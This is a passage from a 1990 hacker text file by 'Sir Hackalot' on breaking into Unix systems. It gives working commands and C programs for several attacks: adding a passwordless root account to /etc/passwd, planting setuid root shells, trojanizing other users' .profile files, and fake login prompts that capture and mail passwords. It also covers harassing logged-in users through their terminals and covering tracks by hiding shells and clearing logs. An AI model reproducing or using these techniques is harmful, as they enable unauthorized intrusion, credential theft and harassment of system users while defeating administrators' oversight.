/usr/adm/culog - This file contains entries that tell when you used cu, where you called and so forth. Another security thing.

/usr/mail/<userLogin> - this is where the program "mail" stores its mail.
                    to read a particular mailbox, so they are called,
                    you must be that user, in the user group "mail" or
                    root. each mailbox is just a name. for instance,
                    if my login was "sirhack" my mail file would usually
                    be: /usr/mail/sirhack

/usr/lib/cron/crontabs - This contains the instructions for cron, usually.
                    Will get into this later.

/etc/shadow - A "shadowed" password file. Will talk about this later.

-- The BIN account --

Well, right now, I'd like to take a moment to talk about the account "bin". While it is only a user level account, it is very powerful. It is the owner of most of the files, and on most systems, it owns /etc/passwd, THE most important file on a unix. See, the bin account owns most of the "bin" (binary) files, as well as others used by the binary files, such as login. Now, knowing what you know about file permissions, if bin owns the passwd file, you can edit passwd and add a root entry for yourself. You could do this via the edit command:

```
$ ed passwd
10999 [The size of passwd varies]
* a
sirhak::0:0:Mr. Hackalot:/:/bin/sh
{control-d}
* w
* q
$
```

Then, you could say: exec login, then you could login as sirhack, and you'd be root.

/\/\/\/\/\/\/\/\/
Hacking..........
/\/\/\/\/\/\/\/\/

Account Adding

There are other programs that will add users to the system, instead of ed. But most of these programs will NOT allow a root level user to be added, or anything less than a UID of 100. One of these programs is named "adduser". Now, the reason I have stuck this little section in, is for those who want to use a unix for something useful. Say you want a "mailing address". If the unix has uucp on it, or is a big college, chances are, it will do mail transfers. You'll have to test the unix by trying to send mail to a friend somewhere, or just mailing yourself. If the mailer is identified as "smail" when you mail yourself (the program name will be imbedded in the message) that probably means that the system will send out UUCP mail. This is a good way to keep in contact with people.

Now, this is why you'd want a semi-permanent account. The way to achieve this is by adding an account similar to those already on the system. If all the user-level accounts (UID >= 100) are three letter abbriviations, say "btc" for Bill The Cat, or "brs" for bill ryan smith, add an account via adduser, and make a name like sally jane marshall or something (they don't expect hackers to put in female names) and have the account named sjm. See, in the account description (like Mr. Hackalot above), that is where the real name is usually stored. So, sjm might look like this:

```
   sjm::101:50:Sally Jane Marshall:/usr/sjm:/bin/sh
```

Of course, you will password protect this account, right?
Also, group id's don't have to be above 100, but you must put the account into one that exists. Now, once you login with this account, the first thing you'd want to do is execute "passwd" to set a password up. If you don't, chances are someone else 'll do it for you (Then you'll be SOL).

Set The User ID

This is porbably one of the most used schemes. Setting up an "UID-Shell". What does this mean? Well, it basically means you are going to set the user-bit on a program. The program most commonly used is a shell (csh,sh, ksh, etc). Why? Think about it: You'll have access to whatever the owner of the file does. A UID shell sets the user-ID of the person who executes it to the owner of the program. So if root owns a uid shell, then you become root when you run it. This is an alternate way to become root.

Say you get in and modify the passwd file and make a root level account unpassworded, so you can drop in. Of course, you almost HAVE to get rid of that account or else it WILL be noticed eventually. So, what you would do is set up a regular user account for yourself, then, make a uid shell. Usually you would use /bin/sh to do it. After adding the regular user to the passwd file, and setting up his home directory, you could do something like this:
(assume you set up the account: shk)

```
# cp /bin/sh /usr/shk/runme
# chmod a+s /usr/shk/runme
```

Thats all there would be to it. When you logged in as shk, you could just type in:

```
$ runme
#
```

See? You'd then be root. Here is a thing to do:

```
$ id
uid=104(shk) gid=50(user)

$ runme
# id
uid=104(shk) gid=50(user) euid=0(root)
#
```

The euid is the "effective" user ID. UID-shells only set the effective userid, not the real user-id. But, the effective user id over-rides the real user id. Now, you can, if you wanted to just be annoying, make the utilities suid to root. What do I mean? For instance, make 'ls' a root 'shell'. :

```
# chmod a+s /bin/ls
# exit
$ ls -l /usr/fred
..
......
etc crap
```

Ls would then be able to pry into ANY directory. If you did the same to "cat" you could view any file. If you did it to rm, you could delete any file. If you did it to 'ed', you could edit any-file (nifty!), anywhere on the system (usually).

How do I get root?

Good question indeed. To make a program set the user-id shell to root, you have to be root, unless you're lucky. What do I mean? Well, say you find a program that sets the user-id to root. If you have access to write to that file, guess what? you can copy over it, but keep the uid bit set. So, say you see that the program chsh is setting the user id too root. You can copy /bin/sh over it.

```
$ ls -l
rwsrwsrws  root     other  10999 Jan 4  chsh
$ cp /bin/sh chsh
$ chsh
#
```

See? That is just one way. There are others, which I will now talk about.

More on setting the UID

Now, the generic form for making a program set the User-ID bit is to use this command:

```
chmod a+s file
```

Where 'file' is a valid existing file. Now, only those who own the file can set the user ID bit. Remember, anything YOU create, YOU own, so if you copy th /bin/sh, the one you are logged in as owns it, or IF the UID is set to something else, the New UID owns the file. This brings me to BAD file permissions.

II. HACKING : Bad Directory Permissions

Now, what do I mean for bad directory permissions? Well, look for

files that YOU can write to, and above all, DIRECTORIES you can write to.
If you have write permissions on a file, you can modify it. Now, this comes
in handy when wanting to steal someone's access. If you can write to
a user's .profile, you are in business. You can have that user's .profile
create a suid shell for you to run when You next logon after the user.
If the .profile is writable to you, you can do this:

```
$ ed .profile
[some number will be here]
? a
cp /bin/sh .runme
chmod a+x .runme
chmod a+s .runme
(control-d)
? w
[new filesize will be shown]
? q
$
```

Now, when the user next logs on, the .profile will create .runme which
will set your ID to the user whose .profile you changed. Ideally, you'll
go back in and zap those lines after the suid is created, and you'll create
a suid somewhere else, and delete the one in his dir. The .runme will
not appear in the user's REGULAR directory list, it will only show up
if he does "ls -a" (or ls with a -a combination), because, the '.' makes
a file hidden.

The above was a TROJAN HORSE, which is one of the most widely used/abused
method of gaining more power on a unix. The above could be done in C via
the system() command, or by just plain using open(), chmod(), and the like.
* Remember to check and see if the root user's profile is writeable *
* it is located at /.profile (usually) *

The BEST thing that could happen is to find a user's directory writeable
by you. Why? well, you could replace all the files in the directory
with your own devious scripts, or C trojans. Even if a file is not
writeable by you, you can still overwrite it by deleteing it. If you
can read various files, such as the user's .profile, you can make a
self deleting trojan as so:

```
$ cp .profile temp.pro
$ ed .profile
1234
? a
cp /bin/sh .runme
chmod a+x .runme
chmod a+s .runme
mv temp.pro .profile
(control-d)
? w
[another number]
? q
$ chown that_user temp.pro
```

What happens is that you make a copy of the .profile before you change it.

Then, you change the original. When he runs it, the steps are made, then the original version is placed over the current, so if the idiot looks in his .profile, he won't see anything out of the ordinary, except that he could notice in a long listing that the change date is very recent, but most users are not paranoid enough to do extensive checks on their files, except sysadm files (such as passwd).

Now, remember, even though you can write to a dir, you may not be able to write to a file without deleting it. If you do not have write perms for that file, you'll have to delete it and write something in its place (put a file with the same name there). The most important thing to remember if you have to delete a .profile is to CHANGE the OWNER back after you construct a new one (hehe) for that user. He could easily notice that his .profile was changed and he'll know who did it. YES, you can change the owner to someone else besides yourself and the original owner (as to throw him off), but this is not wise as keeping access usually relies on the fact that they don't know you are around.

You can easily change cron files if you can write to them. I'm not going to go into detail about cronfile formats here, just find the crontab files and modify them to create a shell somewhere as root every once in a while, and set the user-id.

III. Trojan Horses on Detached terminals.

Basically this: You can send garbage to a user's screen and mess him up bad enough to force a logoff, creating a detached account. Then you can execute a trojan horse off that terminal in place of login or something, so the next one who calls can hit the trojan horse. This USUALLY takes the form of a fake login and write the username/pw entererred to disk.

Now, there are other trojan horses available for you to write. Now, don't go thinking about a virus, for they don't work unless ROOT runs them. Anyway, a common trjan would be a shell script to get the password, and mail it to you. Now, you can replace the code for the self deleting trojan with one saying something like:

```
echo "login: \c"
read lgin
echo off (works on some systems)
(if above not available...: stty -noecho)
echo "Password:\c"
read pw
echo on
echo "Login: $lgin - Pword: $pw" | mail you
```

Now, the best way to use this is to put it in a seperate script file so it can be deleted as part of the self deleting trojan. A quick modification, removing the "login: " and leaving the password may have it look like SU, so you can get the root password. But make sure the program deletes itself. Here is a sample trojan login in C:

```
#include <stdio.h>
/* Get the necessary defs.. */
main()
{
    char *name[80];
    char *pw[20];
    FILE *strm;
    printf("login: ");
    gets(name);
    pw = getpass("Password:");
    strm = fopen("/WhereEver/Whateverfile","a");
    fprintf(strm,"User: (%s), PW [%s]\n",name,pw);
    fclose(strm);
    /* put some kind of error below... or something... */
    printf("Bus Error - Core Dumped\n");
    exit(1);
    }
```

The program gets the login, and the password, and appends it to a file (/wherever/whateverfile), and creates the file if it can, and if its not there. That is just an example. Network Annoyances come later.

IV. Odd systems

There may be systems you can log in to with no problem, and find some slack menu, database, or word processor as your shell, with no way to the command interpreter (sh, ksh, etc..). Don't give up here. Some systems will let you login as root, but give you a menu which will allow you to add an account. However, ones that do this usually have some purchased software package running, and the people who made the software KNOW that the people who bought it are idiots, and the thing will sometimes only allow you to add accounts with user-id 100 or greater, with their special menushell as a shell. You probably won't get to pick the shell, the program will probably stick one on the user you created which is very limiting. HOWEVER, sometimes you can edit accounts, and it will list accounts you can edit on the screen. HOWEVER, these programs usually only list those with UIDS > 100 so you don't edit the good accounts, however, they donot stop you from editing an account with a UID < 100. The "editing" usually only involves changing the password on the account. If an account has a * for a password, the standard passwd program which changes programs, will say no pw exists, and will ask you to enter one. (wallah! You have just freed an account for yourself. Usually bin and sys have a * for a password). If one exists you'll have to enter the old Password (I hope you know it!) for that account. Then, you are in the same boat as before. (BTW -- These wierd systems are usually Xenix/386, Xenix/286, or Altos/286)

With word processors, usually you can select the load command, and when the word processor prompts for a file, you can select the passwd file, to look for open accounts, or at least valid ones to hack. An example would be the informix system. You can get a word processor with that such as Samna word, or something, and those Lamers will not protect against shit like that. Why? The Passwd file HAS to be readable by all for the most part, so each program can "stat" you. However, word processors could be made to restrict editing to a directory, or set of directories. Here is an example:

```
$ id
uid=100(sirhack) gid=100(users)
$ sword
(word processor comes up)
```

```
        (select LOAD A FILE)
        <Edit File>: /etc/passwd
        <Loading..>
        (you see: )
        root:dkdjkgsf!!!:0:0:Sysop:/:/bin/sh
        sirhack:dld!k%%^%:100:100:Sir Hackalot:/usr/usr1/sirhack:/bin/sh
        datawiz::101:100:The Data Wizard:/usr/usr1/datawiz:/bin/sh
        ...
```

Now I have found an account to take over! "datawiz" will get me in with no
trouble, then I can change his password, which he will not like at all.
Some systems leave "sysadm" unpassworded (stupid!), and now, Most versions
of Unix, be it Xenix, Unix, BSD, or whatnot, they ship a sysadm shell which
will menu drive all the important shit, even creating users, but you must
have ansi or something.

You can usually tell when you'll get a menu. Sometimes on UNIX
SYSTEM V, when it says TERM = (termtype), and is waiting for
you to press return or whatever, you will probably get a menu.. ack.

V. Shadowed Password files

Not much to say about this. all it is, is when every password field
in the password file has an "x" or just a single character. What
that does is screw you, becuase you cannot read the shadowed password
file, only root can, and it contains all the passwords, so you will
not know what accounts have no passwords, etc.

There are a lot of other schemes for hacking unix, lots of others, from
writing assembly code that modifies the PCB through self-changing code which
the interrupt handler doesn't catch, and things like that. However, I do
not want to give away everything, and this was not meant for advanced Unix
Hackers, or atleast not the ones that are familiar with 68xxx, 80386 Unix
assembly language or anything. Now I will Talk about Internet.

--->>> InterNet <<<---

Why do I want to talk about InterNet? Well, because it is a prime
example of a TCP/IP network, better known as a WAN (Wide-Area-Network).
Now, mainly you will find BSD systems off of the Internet, or SunOS, for
they are the most common. They may not be when System V, Rel 4.0, Version
2.0 comes out. Anyway, these BSDs/SunOSs like to make it easy to jump
from one computer to another once you are logged in. What happens is
EACH system has a "yello page password file". Better known as yppasswd.
If you look in there, and see blank passwords you can use rsh, rlogin, etc..
to slip into that system. One system in particular I came across had a
a yppasswd file where *300* users had blank passwords in the Yellow Pages.
Once I got in on the "test" account, ALL I had to do was select who I wanted
to be, and do: rlogin -l user (sometimes -n). Then it would log me onto
the system I was already on, through TCP/IP. However, when you do this,
remember that the yppasswd only pertains to the system you are on at
the time. To find accounts, you could find the yppasswd file and do:

```
% cat yppasswd | grep ::
```

Or, if you can't find yppasswd..

```
% ypcat passwd | grep ::
```

On ONE system (which will remain confidential), I found the DAEMON account left open in the yppasswd file. Not bad. Anyway, through one system on the internet, you can reach many. Just use rsh, or rlogin, and look in the file: /etc/hosts for valid sites which you can reach. If you get on to a system, and rlogin to somewhere else, and it asks for a password, that just means one of two things:

A. Your account that you have hacked on the one computer is on the target computer as well. Try to use the same password (if any) you found the hacked account to have. If it is a default, then it is definitly on the other system, but good luck...

B. rlogin/rsh passed your current username along to the remote system, so it was like typing in your login at a "login: " prompt. You may not exist on the other machine. Try "rlogin -l login_name", or rlogin -n name.. sometimes, you can execute "rwho" on another machine, and get a valid account.

Some notes on Internet servers. There are "GATEWAYS" that you can get into that will allow access to MANY internet sites. They are mostly run off a modified GL/1 or GS/1. No big deal. They have help files. However, you can get a "privilged" access on them, which will give you CONTROL of the gateway.. You can shut it down, remove systems from the Internet, etc.. When you request to become privileged, it will ask for a password. There is a default. The default is "system". I have come across *5* gateways with the default password. Then again, DECNET has the same password, and I have come across 100+ of those with the default privileged password. CERT Sucks. a Gateway that led to APPLE.COM had the default password. Anyone could have removed apple.com from the internet. Be advised that there are many networks now that use TCP/IP.. Such as BARRNET, LANET, and many other University networks.

--** Having Fun **--

Now, if nothing else, you should atleast have some fun. No, I do not mean go trashing hardrives, or unlinking directories to take up inodes, I mean play with online users. There are many things to do. Re-direct output to them is the biggie. Here is an example:

```
$ who
loozer   tty1
sirhack  tty2
$ banner You Suck >/dev/tty1
$
```

That sent the output to loozer. The TTY1 is where I/O is being performed to his terminal (usually a modem if it is a TTY). You can repetitiously banner him with a do while statement in shell, causing him to logoff. Or you can get sly, and just screw with him. Observe this C program:

```
#include <stdio.h>
#include <fcntl.h>
#include <string.h>

main(argc,argument)
```

```
int argc;
char *argument[];
{
        int handle;
        char *pstr,*olm[80];
        char *devstr = "/dev/";
        int acnt = 2;
        FILE *strm;
        pstr = "";
        if (argc == 1) {
          printf("OL (OneLiner) Version 1.00 \n");
          printf("By Sir Hackalot [PHAZE]\n");
                printf("\nSyntax: ol tty message\n");
                printf("Example: ol tty01 You suck\n");
                exit(1);
        }
        printf("OL (OneLiner) Version 1.0\n");
    printf("By Sir Hackalot [PHAZE]\n");
        if (argc == 2) {
                strcpy(olm,"");
                printf("\nDummy! You forgot to Supply a ONE LINE MESSAGE\n");
                printf("Enter one Here => ");
                gets(olm);
        }
        strcpy(pstr,"");
        strcat(pstr,devstr);
    strcat(pstr,argument[1]);
        printf("Sending to: [%s]\n",pstr);
        strm = fopen(pstr,"a");
        if (strm == NULL) {
                printf("Error writing to: %s\n",pstr);
                printf("Cause: No Write Perms?\n");
                exit(2);
        }
        if (argc == 2) {
          if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s): \n",logname());
          fprintf(strm,"%s\n",olm);
                fclose(strm);
                printf("Message Sent.\n");
                exit(0);
        }
    if (argc > 2) {
          if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s):\n",logname());
                while (acnt <= argc - 1) {
                        fprintf(strm,"%s ",argument[acnt]);
                        acnt++;
                }
                fclose(strm);
                printf("Message sent!\n");
                exit(0);
        }
}
```

What the above does is send one line of text to a device writeable by you
in /dev. If you try it on a user named "sirhack" it will notify sirhack
of what you are doing. You can supply an argument at the command line, or

leave a blank message, then it will prompt for one. You MUST supply a Terminal. Also, if you want to use ?, or *, or (), or [], you must not supply a message at the command line, wait till it prompts you. Example:

```
$ ol tty1 You Suck!
OL (OneLiner) Version 1.00
by Sir Hackalot [PHAZE]
Sending to: [/dev/tty1]
Message Sent!
$
Or..
$ ol tty1
OL (OneLiner) Version 1.00
by Sir Hackalot [PHAZE]
Dummy! You Forgot to Supply a ONE LINE MESSAGE!
Enter one here => Loozer! Logoff (NOW)!! ^G^G
Sending to: [/dev/tty1]
Message Sent!
$
```

You can even use it to fake messages from root. Here is another:

```
/*
* Hose another user
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>
#include <utmp.h>
#include <time.h>
#include <termio.h>
#include <sys/utsname.h>

#define NMAX    sizeof(ubuf.ut_name)

struct    utmp ubuf;
struct    termio oldmode, mode;
struct    utsname name;
int yn;
int loop = 0;
char    *realme[50] = "Unknown";
char    *strcat(), *strcpy(), me[50]  = "???", *him, *mytty, histty[32];
char      *histtya, *ttyname(), *strrchr(), *getenv();
int        signum[] = {SIGHUP, SIGINT, SIGQUIT, 0}, logcnt, eof(), timout();
FILE      *tf;

main(argc, argv)
int argc;
char *argv[];
{
          register FILE *uf;
          char c1, lastc;
          int goodtty = 0;
```

```
        long clock = time((long *) 0);
        struct tm *localtime();
        struct tm *localclock = localtime( &clock );
        struct stat stbuf;
        char psbuf[20], buf[80], window[20], junk[20];
        FILE *pfp, *popen();

        if (argc < 2) {
          printf("usage: hose user [ttyname]\n");
                exit(1);
        }
    him = argv[1];

        if (argc > 2)
                histtya = argv[2];
        if ((uf = fopen("/etc/utmp", "r")) == NULL) {
                printf("cannot open /etc/utmp\n");
                exit(1);
        }
        cuserid(me);
        if (me == NULL) {
                printf("Can't find your login name\n");
                exit(1);
        }
mytty = ttyname(2);
if (mytty == NULL) {
                printf("Can't find your tty\n");
                exit(1);
        }
        if (stat(mytty, &stbuf) < 0) {
                printf("Can't stat your tty -- This System is bogus.\n");
        }
        if ((stbuf.st_mode&02) == 0) {
                printf("You have write permissions turned off (hehe!).\n");
        }

if (histtya) {
                if (!strncmp(histtya, "/dev/", 5))
                        histtya = strrchr(histtya, '/') + 1;
                strcpy(histty, "/dev/");
                strcat(histty, histtya);
        }
        while (fread((char *)&ubuf, sizeof(ubuf), 1, uf) == 1) {
                if (ubuf.ut_name[0] == '\0')
                        continue;
                if (!strncmp(ubuf.ut_name, him, NMAX)) {
                        logcnt++;
                        if (histty[0]==0) {
                                strcpy(histty, "/dev/");
                                strcat(histty, ubuf.ut_line);
                        }
                        if (histtya) {
                                if (!strcmp(ubuf.ut_line, histtya))
                                        goodtty++;
                        }
                }
```

```
            }
            fclose(uf);
        if (logcnt==0) {
                    printf("%s not found! (Not logged in?)\n", him);
                    exit(1);
            }

            if (histtya==0 && logcnt > 1) {
                    printf("%s logged more than once\nwriting to %s\n", him, histty+5);
            }
            if (access(histty, 0) < 0) {
                    printf("No such tty? [%s]\n",histty);
                    exit(1);
            }
            signal(SIGALRM, timout);
            alarm(5);
            if ((tf = fopen(histty, "w")) == NULL)
                    goto perm;
            alarm(0);
            if (fstat(fileno(tf), &stbuf) < 0)
                    goto perm;
            if (geteuid() != 0 && (stbuf.st_mode&02) == 0)
                    goto perm;
            ioctl(0, TCGETA, &oldmode);                  /* save tty state */
            ioctl(0, TCGETA, &mode);
            sigs(eof);
            uname(&name);
        if (strcmp(him,"YOURNAMEHERE") == 0) yn = 1;
 if (yn == 1 ) {
   fprintf(tf, "\r(%s attempted to HOSE You with NW)\r\n",me);
   fclose(tf);
   printf("Critical Error Handler: %s running conflicting process\n",him);
   exit(1);
}
   fflush(tf);
            mode.c_cc[4] = 1;
            mode.c_cc[5] = 0;
            mode.c_lflag &= ~ICANON;
            ioctl(0, TCSETAW, &mode);
            lastc = '\n';


printf("Backspace / Spin Cursor set lose on: %s\n",him);
  while (loop == 0) {
  c1 = '\b';
  write(fileno(tf),&c1,1);
  sleep(5);
fprintf(tf,"\\\b|\b/\b-\b+\b");
  fflush(tf);
  }




perm:
printf("Write Permissions denied!\n");
```

```
exit(1);
}

timout()
{

printf("Timeout opening their tty\n");
exit(1);
}

eof()
{
printf("Bye..\n");
ioctl(0, TCSETAW, &oldmode);
exit(0);
}

ex()
{
        register i;
        sigs(SIG_IGN);
        i = fork();
        if (i < 0) {
                printf("Try again\n");
                goto out;
        }
        if (i == 0) {
                sigs((int (*)())0);
                execl(getenv("SHELL")?getenv("SHELL"):"/bin/sh","sh","-t",0);
                exit(0);
        }
        while(wait((int *)NULL) != i)
                ;
        printf("!\n");
out:
        sigs(eof);
}

sigs(sig)
int (*sig)();
{
        register i;
        for (i=0; signum[i]; i++)
                signal(signum[i], sig);
}
```

What the above is, is a modified version of the standard write command. What it does, is spin the cursor once, then backspace once over the screen of the user it is run on. All though, it does not physically affect input, the user thinks it does. therefore, he garbles input. The sleep(xx) can be changed to make the stuff happen more often, or less often. If you put your login name in the "YOURNAMEHERE" slot, it will protect you from getting hit by it, if someone off a Public access unix leeches the executable from your directory.

You could make a shorter program that does almost the same thing, but
you have to supply the terminal, observe:

```
/* Backspace virus, by Sir Hackalot [Phaze] */
#include <stdio.h>
#include <fcntl.h>
main(argc,argv)
char *argv[];
int argc;
{
	int x = 1;
	char *device = "/dev/";
	FILE *histty;
	if (argc == 1) {
	printf("Bafoon.  Supply a TTY.\n");
	exit(1);
	}
	strcat(device,argv[1]);
	/* Make the filename /dev/tty.. */
	histty = fopen(device,"a");
	if (histty == NULL) {
	printf("Error opening/writing to tty.  Check their perms.\n");
	exit(1);
	}
	printf("BSV - Backspace virus, By Sir Hackalot.\n");
	printf("The Sucker on %s is getting it!\n",device);
	while (x == 1) {
	fprintf(histty,"\b\b");
	fflush(histty);
	sleep(5);
	}
	}
```

Thats all there is to it. If you can write to their tty, you can use this on
them. It sends two backspaces to them every approx. 5 seconds. You
should run this program in the background. (&). Here is an example:

```
$ who
sirhack     tty11
loozer      tty12
$ bsv tty12&
[1]  4566
BSV - Backspace virus, by Sir Hackalot
The Sucker on /dev/tty12 is getting it!
$
```

Now, it will keep "attacking" him, until he loggs of, or you kill the process
(which was 4566 -- when you use &, it gives the pid [usually]).

** Note *** Keep in mind that MSDOS, and other OP systems use The CR/LF
method to terminate a line. However, the LF terminates a line in Unix.
you must STRIP CR's on an ascii upload if you want something you upload
to an editor to work right. Else, you'll see a ^M at the end of every
line. I know that sucks, but you just have to compensate for it.

I have a number of other programs that annoy users, but that is enough to get your imagination going, provided you are a C programmer. You can annoy users other ways. One thing you can do is screw up the user's mailbox. The way to do this is to find a binary file (30k or bigger) on the system which YOU have access to read. then, do this:

```
$ cat binary_file | mail loozer
```

or

```
$ mail loozer < binary file
```

That usually will spilt into 2 messages or more. The 1st message will have a from line.. (from you ..), but the second WILL NOT! Since it does not, the mail reader will keep exiting and giving him an error message until it gets fixed.. The way to fix it is to go to the mail box that got hit with this trick (usually only the one who got hit (or root) and do this), and edit the file, and add a from line.. like
From username..

then it will be ok. You can screw the user by "cat"ing a binary to his tty. say Loozer is on tty12. You can say..

```
$ cat binary_file >/dev/tty12
$
```

It may pause for a while while it outputs it. If you want to resume what you were doing instantly, do:

```
$ cat binary_file >/dev/tty12&
[1] 4690
$
```

And he will probably logoff. You can send the output of anything to his terminal. Even what YOU do in shell. Like this:

```
$ sh >/dev/tty12
$
```

You'll get your prompts, but you won't see the output of any commands, he will...

```
$ ls
$ banner Idiot!
$ echo Dumbass!
$
```

until you type in exit, or hit ctrl-d.

There are many many things you can do. You can fake a "write" to someone and make them think it was from somewhere on the other side of hell. Be creative.

When you are looking for things to do, look for holes, or try to get someone to run a trojan horse that makes a suid shell. If you get someone to run a trojan that does that, you can run the suid, and log their ass off by killing their mother PID. (kill -9 whatever). Or, you can lock them out by adding "kill -1 0" to their .profile. On the subject of holes, always look for BAD suid bits. On one system thought to be invincible I was able to read/modify everyone's mail, because I used a mailer that had both the GroupID set, and the UserID set. When I went to shell from it, the program instantly changed my Effective ID back to me, so I would not be able to do anything but my regular stuff. But it was not designed to change the GROUP ID back. The sysop had blundered there. SO when I did an ID

I found my group to be "Mail". Mailfiles are readble/writeable by the user "mail", and the group "mail". I then set up a sgid (set group id) shell to change my group id to "mail" when I ran it, and scanned important mail, and it got me some good info. So, be on the look out for poor permissions.

Also, after you gain access, you may want to keep it. Some tips on doing so is:

1. Don't give it out. If the sysadm sees that joeuser logged in 500 times in one night....then....
2. Don't stay on for hours at a time. They can trace you then. Also they will know it is irregular to have joeuser on for 4 hours after work.
3. Don't trash the system. Don't erase important files, and don't hog inodes, or anything like that. Use the machine for a specific purpose (to leech source code, develop programs, an Email site). Dont be an asshole, and don't try to erase everything you can.
4. Don't screw with users constantly. Watch their processes and run what they run. It may get you good info (snoop!)
5. If you add an account, first look at the accounts already in there If you see a bunch of accounts that are just 3 letter abbrv.'s, then make yours so. If a bunch are "cln, dok, wed" or something, don't add one that is "joeuser", add one that is someone's full initials.

6. When you add an account, put a woman's name in for the description, if it fits (Meaning, if only companies log on to the unix, put a company name there). People do not suspect hackers to use women's names. They look for men's names.
7. Don't cost the Unix machine too much money. Ie.. don't abuse an outdial, or if it controls trunks, do not set up a bunch of dial outs. If there is a pad, don't use it unless you NEED it.
8. Don't use x.25 pads. Their usage is heavily logged.
9. Turn off acct logging (acct off) if you have the access to. Turn it on when you are done.
10. Remove any trojan horses you set up to give you access when you get access.
11. Do NOT change the MOTD file to say "I hacked this system" Just thought I'd tell you. Many MANY people do that, and lose access within 2 hours, if the unix is worth a spit.
12. Use good judgement. Cover your tracks. If you use su, clean up the sulog.
13. If you use cu, clean up the cu_log.
14. If you use the smtp bug (wizard/debug), set up a uid shell.
15. Hide all suid shells. Here's how:
    goto /usr
    (or any dir)
    do:
    ```
    # mkdir ".. "
    # cd ".. "
    # cp /bin/sh ".whatever"
    # chmod a+s ".whatever"
    ```
    The "" are NEEDED to get to the directory .. ! It will not show up in a listing, and it is hard as hell to get to by sysadms if you make 4 or 5 spaces in there (".·   "), because all they will see in a directory FULL list will be .. and they won't be able to get there unless they use "" and know the spacing. "" is used

   when you want to do literals, or use a wildcard as part of a file
   name.
16. Don't hog cpu time with password hackers. They really don't work
   well.

17. Don't use too much disk space. If you archieve something to dl,
   dl it, then kill the archieve.
18. Basically -- COVER YOUR TRACKS.

Some final notes:

Now, I hear lots of rumors and stories like "It is getting harder to get
into systems...". Wrong. (Yo Pheds! You reading this??). It IS true
when you are dealing with WAN's, such as telenet, tyment, and the Internet,
but not with local computers not on those networks. Here's the story:

Over the past few years, many small companies have sprung up as VARs
(Value Added Resellers) for Unix and Hardware, in order to make a fast
buck. Now, these companies fast talk companies into buying whatever,
and they proceed in setting up the Unix. Now, since they get paid by
the hour usaually when setting one up, they spread it out over days....
during these days, the system is WIDE open (if it has a dialin). Get
in and add yourself to passwd before the seal it off (if they do..).
Then again, after the machine is set up, they leave the defaults on the
system. Why? The company needs to get in, and most VARs cannot use
unix worth a shit, all they know how to do is set it up, and that is ALL.
Then, they turn over the system to a company or business that USUALLY
has no-one that knows what they hell they are doing with the thing, except
with menus. So, they leave the system open to all...(inadvertedly..),
because they are not competant. So, you could usually get on, and create
havoc, and at first they will think it is a bug.. I have seen this
happen ALL to many times, and it is always the same story...
The VAR is out for a fast buck, so they set up the software (all they know
how to do), and install any software packages ordered with it (following
the step by step instructions). Then they turn it over to the business
who runs a word processor, or database, or something, un aware that a
"shell" or command line exists, and they probably don't even know root does.
So, we will see more and more of these pop up, especially since AT&T is
now bundling a version of Xwindows with their new System V, and Simultask...
which will lead to even more holes. You'll find systems local to you
that are easy as hell to get into, and you'll see what I mean. These
VARs are really actually working for us. If a security problem arises
that the business is aware of, they call the VAR to fix it... Of course,
the Var gets paid by the hour, and leaves something open so you'll get in
again, and they make more moolahhhh.

You can use this phile for whatever you want. I can't stop you. Just
to learn unix (heh) or whatever. But its YOUR ass if you get caught.
Always consider the penalties before you attempt something. Sometimes
it is not worth it, Sometimes it is.

This phile was not meant to be comprehensive, even though it may seem like
it. I have left out a LOT of techniques, and quirks, specifically to get
you to learn SOMETHING on your own, and also to retain information so
I will have some secrets. You may pass this file on, UNMODIFIED, to any

GOOD H/P BBS. Sysops can add things to the archieve to say where
it was DL'd from, or to the text viewer for the same purpose. This is
Copywrited (haha) by Sir Hackalot, and by PHAZE, in the year 1990.

-Sir Hackalot of PHAZE
1990.